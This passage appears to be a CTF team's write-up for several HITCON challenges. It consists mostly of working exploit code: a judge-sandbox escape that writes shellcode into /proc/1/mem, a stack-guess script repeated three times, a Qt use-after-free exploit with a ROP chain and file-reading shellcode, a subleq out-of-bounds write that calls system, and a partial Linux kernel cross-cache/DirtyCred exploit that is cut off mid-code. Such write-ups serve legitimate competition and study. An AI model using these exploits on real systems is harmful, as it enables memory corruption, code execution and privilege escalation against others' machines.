which_test_is_this() # TESTCASE_ORDER = [2, 5, 1, 4, 3] TESTCASE_ORDER = [1, 2, 3, 4, 5] RUN_ORDER = TESTCASE_ORDER.index(TESTCASE) PAYLOAD = r""" FLAG="$(/getflag give me flag)" FLAGB64="$(echo $FLAG | base64 -w0)" echo '{"cpu_time": 1, "real_time": 1, "memory": 2, "signal": 0, "exit_code": 0, "error": 0, "result": 0, "test": "3.txt", "output": "'"$FLAGB64"'\n"}' > /run/judge/result.log """ def setup(): libc = ctypes.CDLL("libc.so.6") fd = libc.creat(b"/run/workdir/payload", 0o755) with os.fdopen(fd, "w") as f: f.write(PAYLOAD) os.symlink("/proc/1/maps", f"/run/workdir/{TESTCASE_ORDER[1]}.txt") os.symlink("/proc/1/mem", f"/run/workdir/{TESTCASE_ORDER[2]}.txt") os.symlink("/proc/1/mem", f"/run/workdir/{TESTCASE_ORDER[2]}.txt.json") VMMAP_FILE = "/run/workdir/vmmap" LOG_FILE = "/run/workdir/explog" MEM_RD_FD = 0 MEM_WR_FD = 3 # execve /bin/bash /run/workdir/payload SHELLCODE = b'jhH\xb8/bin/basPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8`xmn`e\x01\x01H1\x04$H\xb8orkdir/pPH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8i\x01.sto.vH1\x04$H\xb8/bin/basP1\xf6Vj\x12^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' def read_mem(addr, size): assert os.lseek(MEM_RD_FD, addr, os.SEEK_SET) == addr ret = b"" while len(ret) < size: ret += os.read(MEM_RD_FD, size - len(ret)) return ret def write_mem(addr, buf): assert os.lseek(MEM_WR_FD, addr, os.SEEK_SET) == addr written = 0 while written < len(buf): ret = os.write(MEM_WR_FD, buf[written:]) assert ret != -1 written += ret def do_pwn(): for i in range(8): print(i, os.readlink(f"/proc/self/fd/{i}")) with open(VMMAP_FILE, "rt") as f: vmmap = f.read() print(vmmap) line = vmmap.splitlines()[0] bash_base = int(line.split("-")[0], 16) print(f"{bash_base=:#x}") make_child = bash_base + 0x5F330 print(f"{make_child=:#x}") print(read_mem(make_child, 0x100).hex()) write_mem(make_child, SHELLCODE) def pwn(): libc = ctypes.CDLL("libc.so.6") fd = libc.creat(LOG_FILE.encode(), 0o755) with os.fdopen(fd, "w") as f: with contextlib.redirect_stdout(f): try: do_pwn() except: import traceback traceback.print_exc(file=sys.stdout) def transcribe_vmmap(): libc = ctypes.CDLL("libc.so.6") fd = libc.creat(VMMAP_FILE.encode(), 0o755) with os.fdopen(fd, "w") as f: f.write(sys.stdin.read()) def collect_log(): try: with open(LOG_FILE, "rt") as f: print(f.read()) except: import traceback traceback.print_exc(file=sys.stdout) match RUN_ORDER: case 0: setup() case 1: transcribe_vmmap() case 2: pwn() case 3: collect_log() ``` #### Level 3 Level 3 actually fixed level 1 by making `/getflag` 0111 (non-readable but executable), it likely also doesn't ask a network service any more and just hardcoded flag since we can't read it anyway. It also made it impossible to fully escape by making sure there's only one testcase (so we can't tamper with later cases' inputs). Alright, let's get back to our first bug. Note that now `libjudgers.so` is also run with uid=1337, we can read it's /proc/ppid/maps. We debugged the binary and found that the whitelisted pointer value points to argv area which is near the end of the stack. The offset should be only affected by the size of environ, compute it and voila: ```python= import sys import os import ctypes os.dup2(1, 2) ppid = os.getppid() with open(f"/proc/{ppid}/maps", "rt") as f: vmmap = f.read() for line in vmmap.splitlines(): if "[stack]" in line: stackline = line break else: print("No stack found") exit(1) print(stackline) stack_begin, stack_end = map(lambda x: int(x, 16), stackline.split(" ")[0].split("-")[:2]) print(f"{stack_begin=:#x}, {stack_end=:#x}") with open(f"/proc/{ppid}/environ", "rb") as f: env_len = len(f.read()) guess = stack_end - env_len - 255 print(f"{guess=:#x}") page = guess & ~0xfff libc = ctypes.CDLL("libc.so.6") # Use libc to mmap a read-write page at address |page| mmap = libc.mmap mmap.restype = ctypes.c_void_p mmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_long) print(f"{mmap=}") print(f"{mmap(page, 4096, 3, 34, -1, 0)=:#x}") buf = ctypes.cast(guess, ctypes.POINTER(ctypes.c_char)) ctypes.memmove(buf, b"/getflag", 8) print(f"{buf.contents=}") libc.execl(buf, buf, b"give", b"me", b"flag", 0) import sys import os import ctypes os.dup2(1, 2) ppid = os.getppid() with open(f"/proc/{ppid}/maps", "rt") as f: vmmap = f.read() for line in vmmap.splitlines(): if "[stack]" in line: stackline = line break else: print("No stack found") exit(1) print(stackline) stack_begin, stack_end = map(lambda x: int(x, 16), stackline.split(" ")[0].split("-")[:2]) print(f"{stack_begin=:#x}, {stack_end=:#x}") with open(f"/proc/{ppid}/environ", "rb") as f: env_len = len(f.read()) guess = stack_end - env_len - 255 print(f"{guess=:#x}") page = guess & ~0xfff libc = ctypes.CDLL("libc.so.6") # Use libc to mmap a read-write page at address |page| mmap = libc.mmap mmap.restype = ctypes.c_void_p mmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_long) print(f"{mmap=}") print(f"{mmap(page, 4096, 3, 34, -1, 0)=:#x}") buf = ctypes.cast(guess, ctypes.POINTER(ctypes.c_char)) ctypes.memmove(buf, b"/getflag", 8) print(f"{buf.contents=}") libc.execl(buf, buf, b"give", b"me", b"flag", 0) import sys import os import ctypes os.dup2(1, 2) ppid = os.getppid() with open(f"/proc/{ppid}/maps", "rt") as f: vmmap = f.read() for line in vmmap.splitlines(): if "[stack]" in line: stackline = line break else: print("No stack found") exit(1) print(stackline) stack_begin, stack_end = map(lambda x: int(x, 16), stackline.split(" ")[0].split("-")[:2]) print(f"{stack_begin=:#x}, {stack_end=:#x}") with open(f"/proc/{ppid}/environ", "rb") as f: env_len = len(f.read()) guess = stack_end - env_len - 255 print(f"{guess=:#x}") page = guess & ~0xfff libc = ctypes.CDLL("libc.so.6") # Use libc to mmap a read-write page at address |page| mmap = libc.mmap mmap.restype = ctypes.c_void_p mmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_long) print(f"{mmap=}") print(f"{mmap(page, 4096, 3, 34, -1, 0)=:#x}") buf = ctypes.cast(guess, ctypes.POINTER(ctypes.c_char)) ctypes.memmove(buf, b"/getflag", 8) print(f"{buf.contents=}") libc.execl(buf, buf, b"give", b"me", b"flag", 0) ``` ## pwn ### QQQ ```python= from pwn import * p = remote("chal-qqq.chal.hitconctf.com", 41870) # p = process("./qqq2.exe") #p = process("./qqq2.exe") def menu(): return p.recvuntil(b'Your choice: ') def add_script(script): p.sendline(b'1') p.sendlineafter(b'Give me one-line JS script: ', script) p.recvuntil(b'Your script index: ') idx = int(p.recvline()) menu() return idx def delete_script(idx): p.sendline(b'2') p.sendlineafter(b'Index: ', str(idx).encode()) return menu() def edit_script(idx, script): p.sendline(b'3') p.sendlineafter(b'Index: ', str(idx).encode()) p.sendlineafter(b'Give me one-line JavaScript:', script) return menu() def view_script(idx): p.sendline(b'4') p.sendlineafter(b'Index: ', str(idx).encode()) p.recvuntil(b'-- Your Script --\n') script = p.recvline()[:-1] menu() return script def create_test(script_idx, timeout): p.sendline(b'5') p.sendlineafter(b'Script Index: ', str(script_idx).encode()) p.sendlineafter(b'Set timeout: ', str(timeout).encode()) no_cpp_timer = b'Initialize cppTimer!' in p.recvuntil(b'Your testcase index: ') if no_cpp_timer: info("No CPP timer initialized") idx = int(p.recvline()) menu() return idx def delete_test(test_idx): p.sendline(b'6') p.sendlineafter(b'Testcase Index: ', str(test_idx).encode()) return menu() def edit_test(test_idx, script_idx, timeout): p.sendline(b'7') p.sendlineafter(b'Testcase Index: ', str(test_idx).encode()) p.sendlineafter(b'Script Index: ', str(script_idx).encode()) p.sendlineafter(b'Set timeout: ', str(timeout).encode()) return menu() def view_test(test_idx): p.sendline(b'8') p.sendlineafter(b'Testcase Index: ', str(test_idx).encode()) p.recvuntil(b'Script Index: ') script_idx = int(p.recvline()) p.recvuntil(b'Timeout: ') timeout = int(p.recvline()) menu() return script_idx, timeout def run_test(test_idx): p.sendline(b'9') p.sendlineafter(b'Testcase Index: ', str(test_idx).encode()) output = p.recvuntil(b'-- Testcase Result --\n') if output != b'-- Testcase Result --\n': print(output) print('-'*15) p.recvuntil(b'Testcase id: ') testid = int(p.recvline()) p.recvuntil(b'Script id: ') scriptid = int(p.recvline()) p.recvuntil(b'timeout: ') timeout = int(p.recvline()) p.recvuntil(b'jsTime: ') jstime = int(p.recvline()) p.recvuntil(b'cppTime: ') cpptime = int(p.recvline()) menu() return output, jstime, cpptime def set_timer(timeout): p.sendline(b'10') p.sendlineafter(b'Set timeout: ', str(timeout).encode()) return menu() def view_timer(): p.sendline(b'11') p.recvuntil(b'jsTime: ') jstime = int(p.recvline()) p.recvuntil(b'cppTime: ') cpptime = int(p.recvline()) menu() return jstime, cpptime menu() f = open("exp.js","r") # print(Timer) js = f.read() js = js.replace("\n",";") js = js.replace(" ","SPACE") log.info("js: "+js) assert('"' not in js) # [objectName,objectNameChanged,elapsed,setJsTime] wrapper = """eval("%s".split("SPACE").join(String.fromCharCode(0x20)));""" wrapped = wrapper % js uaf = add_script("}));print(Timer);eval(`}`);//") reclaim = add_script(wrapped) #demo = add_script(b'1;') #print(view_script(uaf)) #set_timer(1337) # uaf_test = create_test(uaf, 5000) tests = [] for i in range(2): tests.append(create_test(reclaim,10)) output = run_test(tests[1])[0] start = output.find(b"(") end = output.find(b")") timer_addr = int(output[start + 1:end],16) log.info("Timer @ " + hex(timer_addr)) pause() run_test(tests[0]) delete_test(tests[0]) # reclaim reclaimed = [] victim_test = -1 vtable_leak = 0 for i in range(100): reclaimed.append(create_test(reclaim,timer_addr - 0x10)) script_idx, timeout = view_test(reclaimed[i]) if timeout != timer_addr - 0x10: victim_test = reclaimed[i] vtable_leak = timeout log.info("found victim: @ %d" % i) log.info("vtable @ " + hex(vtable_leak)) break # now we have vtable leak # arbitrary read - # 1. change timeout (to dest addr - 0x10) # 2. view victim # arbitrary write - # 1. change timeout (to dest addr - 0x10) # 2. set timeout in victim pause() def arb_read(addr): global victim_test set_timer(addr - 0x10) script_idx, leak = view_test(victim_test) log.info("[read] %s -> %s" % (hex(addr),hex(leak))) return leak def arb_write(addr, value): global victim_test log.info("[write] %s -> %s" % (hex(addr),hex(value))) set_timer(addr - 0x10) edit_test(victim_test,0,value) #arb_read(0xc0ffee) #arb_write(0xfeed,0xface) # setup fake vtable # QtNetwork gadget # 0x0000000180034f6b: push rcx; pop rsp; or al, byte ptr [rax]; add rsp, 0x7d0; pop rbp; ret; # get QtNetwork base # 1. get object base # 2. get QtQml base # 3. get QtNetwork base qqq_base = vtable_leak - 0x00057a8 log.info("QQQ @ " + hex(qqq_base)) QJSValue_dtor = arb_read(qqq_base + 0x5290) qml_base = QJSValue_dtor - 0x0000000000064620 log.info("QML @ " + hex(qml_base)) network_leak = arb_read(qml_base + 0x249230) network_base = network_leak - 0x0000000000016ba0 log.info("NETWORK @ " + hex(network_base)) virtual_alloc = arb_read(qml_base + 0x02470E0) virtual_protect = arb_read(qml_base + 0x02470E8) memcpy = arb_read(qqq_base + 0x0005360) qtcore_leak = arb_read(qqq_base + 0x05080) qtcore_base = qtcore_leak - 0x00000000001faf00 log.info("Qt5Core @ " + hex(qtcore_base)) malloc = arb_read(qqq_base + 0x000000005398) log.info("Malloc @ " + hex(malloc)) pop_rcx = qtcore_base + 0x00dc80 pop_rdx = qtcore_base + 0x1eb082 pop_r8 = qtcore_base + 0x1d39a2 mov_r9 = qml_base + 0xf05cc #: mov r9, rax; mov rax, r9; add rsp, 0x28; ret; pop_rax = qtcore_base + 0x0bf66 xor_r9 = qtcore_base + 0x149344 # xor r9d, r9d; test r9, r9; sete al; add rsp, 8; ret; stack_pivot = network_base + 0x34f6b bss = qqq_base + 0x9000 # write at offset 0x400, seems to be unused read_file = arb_read(qtcore_base + 0x02F1378) create_file = arb_read(qtcore_base + 0x2F12E0) # createfileW write_file = arb_read(qtcore_base + 0x02F1390) operator_stream_out = arb_read(qqq_base + 0x05198) stdout_stream = qqq_base + 0x0092E0 log.info("jump loc @ " + hex(bss + 0x400)) log.info("Stack pivot @ " + hex(stack_pivot)) log.info("read file: " + hex(read_file)) log.info("create file: " + hex(create_file)) log.info("write file: " + hex(write_file)) pause() # write shellchode #arb_write(bss+0x400,0xcccccccccccccccc) context.arch = "AMD64" shellchode = b"" shellchode += b"\x48\xBC" + p64(qtcore_base + 0x00545000 + 0x2800) # qt core bss shellchode += asm(""" lea rcx, [rip+fname] mov rdx, 0x80000000 /* GENERIC_READ */ mov r8, 1 /* FILE_SHARE_READ */ xor r9, r9 push 0 /* hTemplateFile */ push 0 /* flags */ push 3 /* OPEN_EXISTING */ sub rsp, 0x20 movabs rax, {CreateFile} /* CreateFileW */ call rax push 0 /* lpOverlapped */ mov rcx, rax lea rdx, [rip+buf] mov r8, 0x100 xor r9, r9 sub rsp, 0x20 movabs rax, {ReadFile} /* ReadFile */ call rax push 0 /* lpOverlapped */ mov rcx, -11 /* STD_OUTPUT_HANDLE */ lea rdx, [rip+buf] mov r8, 0x100 xor r9, r9 sub rsp, 0x20 movabs rax, {WriteFile} /* WriteFile */ call rax fname: .word 'f', 'l', 'a', 'g', '.', 't', 'x', 't', 0 buf: """.format( CreateFile=create_file, ReadFile=read_file, WriteFile=write_file )) if len(shellchode) % 8: shellchode += b"\xcc" * (8 - (len(shellchode) % 8)) for i in range(len(shellchode) // 8): arb_write(bss + 0x400 + (i * 8), u64(shellchode[i * 8: (i + 1)*8])) fake_vtable = timer_addr + 0x80 fake_obj = timer_addr + 0x40 #arb_write(fake_vtable + 0x18, 0x4141424243434444) # dtor arb_write(fake_vtable + 0x18,stack_pivot) arb_write(fake_obj, fake_vtable) # qjs fake vtable ptr # overwrite qjs engine with a fake one arb_write(timer_addr + 0x18,fake_obj) # ropchain continuation rop_addr = fake_obj + 0x7d0 #arb_write(rop_addr, 0xfeedfeedfeedfeed) timer_page = timer_addr & ~0xfff # # call virtualalloc # arb_write(rop_addr + 8, pop_rcx) # accounted for pop rbp # arb_write(rop_addr + 0x10, 0xbeef000) # addr # arb_write(rop_addr + 0x18, pop_rdx) # arb_write(rop_addr + 0x20, 0x1000) # size # arb_write(rop_addr + 0x28, pop_r8) # arb_write(rop_addr + 0x30,0x3000) # MEM COMMIT | MEM RESERVE # arb_write(rop_addr + 0x38, pop_rax) # arb_write(rop_addr + 0x40, 0x40) # prot # arb_write(rop_addr + 0x48, mov_r9) # # arb_write(rop_addr + 0x50 + 0x28, virtual_alloc) # rop_addr = rop_addr + 0x50 + 0x30 # # memcpy shellcode # arb_write(rop_addr + 0x0, pop_rcx) # arb_write(rop_addr + 0x8, 0xbeef000) # arb_write(rop_addr + 0x10, pop_rdx) # arb_write(rop_addr + 0x18, bss + 0x400) # arb_write(rop_addr + 0x20, 0x400) # arb_write(rop_addr + 0x28, pop_rdx) # arb_write(rop_addr + 0x30, memcpy) # arb_write(rop_addr + 0x50 + 0x30, 0xfeed) # rop_addr += 0x48 move_stack = qtcore_base + 0x002211e #: add rsp, 0x9f0; pop rbx; ret; #arb_write(rop_addr + 8, move_stack) #rop_addr += (0x9f0 + 0x10) # call virtualprotect arb_write(rop_addr + 8, pop_rcx) # accounted for pop rbp arb_write(rop_addr + 0x10, bss) # addr arb_write(rop_addr + 0x18, pop_rdx) arb_write(rop_addr + 0x20, 0x1000) # size arb_write(rop_addr + 0x28, pop_r8) arb_write(rop_addr + 0x30,0x40) # prot (RWX) arb_write(rop_addr + 0x38, pop_rax) # old protect (null) arb_write(rop_addr + 0x40, bss + 0x3f0) # old protect (null) arb_write(rop_addr + 0x48, mov_r9) # old protect (null) arb_write(rop_addr + 0x50 + 0x28, virtual_protect) #arb_write(rop_addr + 0x48, 0xaaaaaaaaaaaaaa) rop_addr = rop_addr + 0x50 + 0x30 arb_write(rop_addr ,bss + 0x400) #arb_write(rop_addr + 0x20,0xaabbccddeeff) delete_test(victim_test) #run_test(tests[1]) #run_test(tests[2]) #jstime, cpptime = run_test(test) #print("jsTime: %s\ncppTime: %s" % (jstime, cpptime)) view_timer() p.interactive() ``` ### SUBformore We can insert arb code in subleq context using oob write. Build some leak function and overwrite stack. ```python= from pwn import * context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux', 'split-window', '-h'] TARGET = './lessequalmore' HOST = 'chal-lessequalmore.chal.hitconctf.com' PORT = 11111 #HOST = '172.17.0.2' #PORT = 9999 #HOST = '172.17.0.1' #PORT = 11111 elf = ELF(TARGET) def start(): if not args.R: print("local") return process([TARGET, './chal.txt']) # return process(TARGET, env={"LD_PRELOAD":"./libc.so.6"}) # return process(TARGET, stdout=process.PTY, stdin=process.PTY) else: print("remote") return remote(HOST, PORT) def get_base_address(proc): lines = open("/proc/{}/maps".format(proc.pid), 'r').readlines() for line in lines : if TARGET[2:] in line.split('/')[-1] : break return int(line.split('-')[0], 16) def debug(proc, breakpoints): script = "handle SIGALRM ignore\n" PIE = get_base_address(proc) script += "set $base = 0x{:x}\n".format(PIE) for bp in breakpoints: script += "b *0x%x\n"%(PIE+bp) script += "c" gdb.attach(proc, gdbscript=script) def dbg(val): print("\t-> %s: 0x%x" % (val, eval(val))) pc = 0x10 def subleq(v0, v1, j=-1): global pc pc += 3 if j == -1: return f'%x{v0:x}\n%x{v1:x}\n%x{pc:x}\n'.encode() else: return f'%x{v0:x}\n%x{v1:x}\n%x{j:x}\n'.encode() def clear(idx): return subleq(idx, idx) def input_value(idx): return subleq(0x8000000000000000, idx) def output_value(idx): return subleq(idx, 0x8000000000000000) libc_offset = 0x83ff0 environ_ptr = 0x221200 got_malloc_ptr = 0x219010 r = start() r.recvuntil(b'\n') payload = b'' # stack leak payload += subleq(0x10, 0xdead) payload += subleq((libc_offset+environ_ptr)//8, 0) payload += subleq(0, 1) payload += clear(2) payload += input_value(2) payload += clear(3) payload += input_value(3) # value search loop lab_value_search = pc payload += output_value(2) # print \xff payload += clear(0) payload += input_value(0) payload += subleq(1, 0, lab_value_search) payload += output_value(3) # print \x02 payload += subleq(3, 0, pc+3+3) # break payload += subleq(5, 5, lab_value_search) # libc leak payload += output_value(5) # print \x00 payload += subleq(6, 7, pc+3*6) # break payload += input_value(6) # write flag to break payload += clear(1) payload += subleq((libc_offset+got_malloc_ptr)//8-4, 0) # change reg1 to libc addr payload += subleq(0, 1) payload += subleq(1, 5, lab_value_search) # search again # after leak ## wipe and write stack ### wipe payload += input_value(0x398//8) payload += input_value(0x3a0//8) payload += input_value(0x3b0//8) payload += input_value(0x3b8//8) payload += input_value(0x3c8//8) payload += input_value(0x3d0//8) ## write payload += input_value(0x3e8//8) payload += input_value(0x490//8) payload += input_value(0x400//8) payload += input_value(0x4a0//8) payload += input_value(0x418//8) payload += input_value(0x4b0//8) payload += clear(0) payload += clear(0) payload += clear(0) payload += subleq(0x490//8, 0) payload += subleq(0x4a0//8, 0) payload += subleq(0x4b0//8, 0) payload += input_value(0x4c0//8) payload += input_value(0x4c8//8) payload += input_value(0x4d0//8) payload += subleq(0, 0, 0xdeadbeefdeadbeef) r.send(payload) for i in range(0x3fe-payload.count(b'%')): r.sendline(f'%x{0xbeefbeef:x}'.encode()) r.sendline(f'%x{0x10000000000000010-1040:x}'.encode()) if args.D: debug(r, [0x16e5]) #pause() r.sendline() r.sendline(b'%xffffffffffffffff') r.sendline(b'%x02') r.recvuntil(b'\xff') WAIT = 0.1 left = 0x7ff000000000 right = 0x800000000000 while left <= right: mid = (left + right) // 2 mid &= 0xfffffffffffffff0 r.sendline(f'%x{(mid)+1:x}'.encode()) ret = b'' while len(ret) < 1: ret += r.recvrepeat(WAIT) if ret == b'\x02\x00': #found break elif ret == b'\x02\xff': #over right = mid - 0x10 else: #under left = mid + 0x10 leak = mid dbg('leak') target = leak - 0x148+0x70+0x50 -0xc0 dbg('target') r.sendline(b'%x1beefbeef') #mem7 r.recvuntil(b'\xff') left = 0x7f0000000000 right = 0x7fe000000000 while left <= right: mid = (left + right) // 2 mid &= 0xfffffffffffffff0 r.sendline(f'%x{(mid)+2:x}'.encode()) ret = b'' while len(ret) < 1: ret += r.recvrepeat(WAIT) if ret == b'\x02\x00': #found break elif ret == b'\x02\xff': #over right = mid - 0x10 else: #under left = mid + 0x10 leak = mid dbg('leak') base = leak - 0xa5120 heap = base -0x83ff0 dbg('base') system = base + 0x50d60 system = base + 0x508f0+2 binsh = base + 0x1d8698 rdi = base + 0x001bc021 r.sendline(f'%x{(target-heap)//8:x}'.encode()) r.sendline(f'%x{(target-heap)//8:x}'.encode()) r.sendline(f'%x{(target+8-heap)//8:x}'.encode()) r.sendline(f'%x{(target+8-heap)//8:x}'.encode()) r.sendline(f'%x{(target+0x10-heap)//8:x}'.encode()) r.sendline(f'%x{(target+0x10-heap)//8:x}'.encode()) r.sendline(f'%x{(target-heap)//8:x}'.encode()) r.sendline(f'%x{0x10000000000000000-rdi-0xbeefbeef:x}'.encode()) r.sendline(f'%x{(target+8-heap)//8:x}'.encode()) r.sendline(f'%x{0x10000000000000000-(heap+0x4c0)-0xbeefbeef:x}'.encode()) r.sendline(f'%x{(target+0x10-heap)//8:x}'.encode()) r.sendline(f'%x{0x10000000000000000-system-0xbeefbeef:x}'.encode()) r.sendline(f'%x{u64(b"cat /app")-0xbeefbeef:x}'.encode()) r.sendline(f'%x{u64(b"/flag.tx")-0xbeefbeef:x}'.encode()) r.sendline(f'%x{0x10000000000000074-0xbeefbeef:x}'.encode()) r.sendline(f'%x{0x10000000000000000-system-0xbeefbeef:x}'.encode()) r.interactive() r.close() ``` ### Full Chain - Wall Maria There is a OOB write bug, which we use to overwrite mmio_ops and opaque value to get arbitrary function call primitive. We use that to mprotect buffer to executable and run shellcode. Exploit: https://gist.github.com/Chovid99/8c2f15c40e7ad758f6ef1d87b4184ceb ### Full Chain - Wall Rose There is a UAF bug in the `rose`. We decided to do cross-cache to a `file` struct, then proceed with `DirtyCred` technique. ```c //gcc -pthread -no-pie -static ../../exploit.c -o exp #define _GNU_SOURCE #include <assert.h> #include <fcntl.h> #include <errno.h> #include <inttypes.h> #include <limits.h> #include <pthread.h> #include <signal.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <poll.h> #include <stdnoreturn.h> #include <string.h> #include <unistd.h> #include <linux/userfaultfd.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/timerfd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/resource.h> #include <linux/capability.h> #include <sys/xattr.h> #include <linux/io_uring.h> #include <linux/membarrier.h> #include <linux/io_uring.h> #include <linux/membarrier.h> #define logd(fmt, ...) fprintf(stderr, (fmt), ##__VA_ARGS__) #define CC_OVERFLOW_FACTOR 5 #define OBJS_PER_SLAB 8 #define CPU_PARTIAL 24 #define MSG_SIZE 0x400-48 static noreturn void fatal(const char *msg) { perror(msg); exit(EXIT_FAILURE); } enum { CC_RESERVE_PARTIAL_LIST = 0, CC_ALLOC_VICTIM_PAGE, CC_FILL_VICTIM_PAGE, CC_EMPTY_VICTIM_PAGE, CC_OVERFLOW_PARTIAL_LIST }; struct cross_cache { uint32_t objs_per_slab; uint32_t cpu_partial; struct { int64_t *overflow_objs; int64_t *pre_victim_objs; int64_t *post_victim_objs; }; uint8_t phase; int (*allocate)(int64_t); int (*free)(int64_t); }; static struct cross_cache *kmalloc1k_cc; static inline int64_t cc_allocate(struct cross_cache *cc, int64_t *repo, uint32_t to_alloc) { for (uint32_t i = 0; i < to_alloc; i++) { int64_t ref = cc->allocate(i); if (ref == -1) return -1; repo[i] = ref; } return 0; } static inline int64_t cc_free(struct cross_cache *cc, int64_t *repo, uint32_t to_free, bool per_slab) { for (uint32_t i = 0; i < to_free; i++) { // if per_slab is true, The target is to free one object per slab. if (per_slab && (i % (cc->objs_per_slab - 1))) continue; if (repo[i] == -1) continue; cc->free(repo[i]); repo[i] = -1; } return 0; } static inline int64_t reserve_partial_list_amount(struct cross_cache *cc) { uint32_t to_alloc = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR; cc_allocate(cc, cc->overflow_objs, to_alloc); return 0; } static inline int64_t allocate_victim_page(struct cross_cache *cc) { uint32_t to_alloc = cc->objs_per_slab - 1; cc_allocate(cc, cc->pre_victim_objs, to_alloc); return 0; } static inline int64_t fill_victim_page(struct cross_cache *cc) { uint32_t to_alloc = cc->objs_per_slab + 1; cc_allocate(cc, cc->post_victim_objs, to_alloc); return 0; } static inline int64_t empty_victim_page(struct cross_cache *cc) { uint32_t to_free = cc->objs_per_slab - 1; cc_free(cc, cc->pre_victim_objs, to_free, false); to_free = cc->objs_per_slab + 1; cc_free(cc, cc->post_victim_objs, to_free, false); return 0; } static inline int64_t overflow_partial_list(struct cross_cache *cc) { uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR; cc_free(cc, cc->overflow_objs, to_free, true); return 0; } static inline int64_t free_all(struct cross_cache *cc) { uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1)* CC_OVERFLOW_FACTOR; cc_free(cc, cc->overflow_objs, to_free, false); empty_victim_page(cc); return 0; } int64_t cc_next(struct cross_cache *cc) { switch (cc->phase++) { case CC_RESERVE_PARTIAL_LIST: return reserve_partial_list_amount(cc); case CC_ALLOC_VICTIM_PAGE: return allocate_victim_page(cc); case CC_FILL_VICTIM_PAGE: return fill_victim_page(cc); case CC_EMPTY_VICTIM_PAGE: return empty_victim_page(cc); case CC_OVERFLOW_PARTIAL_LIST: return overflow_partial_list(cc); default: return 0; } } void cc_deinit(struct cross_cache *cc) { free_all(cc); free(cc->overflow_objs); free(cc->pre_victim_objs); free(cc->post_victim_objs); free(cc); } void init_msq(int64_t *repo, uint32_t to_alloc ) { for (int i = 0; i < to_alloc ; i++) { repo[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (repo[i] < 0) { logd("[-] msgget() fail\n"); exit(-1); } } } struct cross_cache *cc_init(uint32_t objs_per_slab, uint32_t cpu_partial, void *allocate_fptr, void *free_fptr) { struct cross_cache *cc = malloc(sizeof(struct cross_cache)); if (!cc) { perror("init_cross_cache:malloc\n"); return NULL; } cc->objs_per_slab = objs_per_slab; cc->cpu_partial = cpu_partial; cc->free = free_fptr; cc->allocate = allocate_fptr; cc->phase = CC_RESERVE_PARTIAL_LIST; uint32_t n_overflow = objs_per_slab * (cpu_partial + 1) * CC_OVERFLOW_FACTOR; uint32_t n_previctim = objs_per_slab - 1; uint32_t n_postvictim = objs_per_slab + 1; cc->overflow_objs = malloc(sizeof(int64_t) * n_overflow); cc->pre_victim_objs = malloc(sizeof(int64_t) * n_previctim); cc->post_victim_objs = malloc(sizeof(int64_t) * n_postvictim); init_msq(cc->overflow_objs, n_overflow); init_msq(cc->pre_victim_objs, n_previctim); init_msq(cc->post_victim_objs, n_postvictim); return cc; } static int rlimit_increase(int rlimit) { struct rlimit r; if (getrlimit(rlimit, &r)) fatal("rlimit_increase:getrlimit"); if (r.rlim_max <= r.rlim_cur) { printf("[+] rlimit %d remains at %.lld", rlimit, r.rlim_cur); return 0; } r.rlim_cur = r.rlim_max; int res; if (res = setrlimit(rlimit, &r)) fatal("rlimit_increase:setrlimit"); else printf("[+] rlimit %d increased to %lld\n", rlimit, r.rlim_max); return res; } static int64_t cc_alloc_kmalloc1k_msg(int64_t msqid) { struct { long mtype; char mtext[MSG_SIZE]; } msg; msg.mtype = 1; memset(msg.mtext, 0x41, MSG_SIZE - 1); msg.mtext[MSG_SIZE-1] = 0; msgsnd(msqid, &msg, sizeof(msg.mtext), 0); return msqid; } static void cc_free_kmalloc1k_msg(int64_t msqid) { struct { long mtype; char mtext[MSG_SIZE]; } msg; msg.mtype = 0; msgrcv(msqid, &msg, sizeof(msg.mtext), 0, IPC_NOWAIT | MSG_NOERROR); } int open_rose() { return open("/dev/rose", O_RDWR); } int rose_fds[2]; int freed_fd = -1; #define NUM_SPRAY_FDS 0x300 int main(void) { puts("======================="); puts("[+] Initial setup"); system("echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > /tmp/a"); rlimit_increase(RLIMIT_NOFILE); rose_fds[0] = open_rose(); puts("======================="); puts("[+] Try to free the page"); kmalloc1k_cc = cc_init(OBJS_PER_SLAB, CPU_PARTIAL, cc_alloc_kmalloc1k_msg, cc_free_kmalloc1k_msg); puts("[+] Step 1: Allocate a lot of slabs (To be put in the partial list later)"); cc_next(kmalloc1k_cc); puts("[+] Step 2: Allocate target slab that we want to discard"); cc_next(kmalloc1k_cc); puts("[+] Step 3: Put rose in the target slab"); rose_fds[1] = open_rose(); puts("[+] Step 4: Fulfill the target slab until we have a new active slab"); cc_next(kmalloc1k_cc); puts("[+] Step 5: Try to free rose & other objects with hope that the target slab will be empty + be put in the partial list"); close(rose_fds[1]); cc_next(kmalloc1k_cc); // Step 6 puts("[+] Step 6: Fulfill the partial list and discard the target slab (because it's empty) to per_cpu_pages"); cc_next(kmalloc1k_cc); puts("[+] Step 7: Make PCP freelist full, so that page goes to free area in buddy"); cc_deinit(kmalloc1k_cc); puts("======================="); puts("[+] Start the main exploit"); puts("[+] Spray FDs"); int spray_fds[NUM_SPRAY_FDS]; for(int i =0;i<NUM_SPRAY_FDS;i++){ spray_fds[i] = open("/tmp/a", O_RDWR); // /tmp/a is a writable file if (spray_fds[i] == -1) 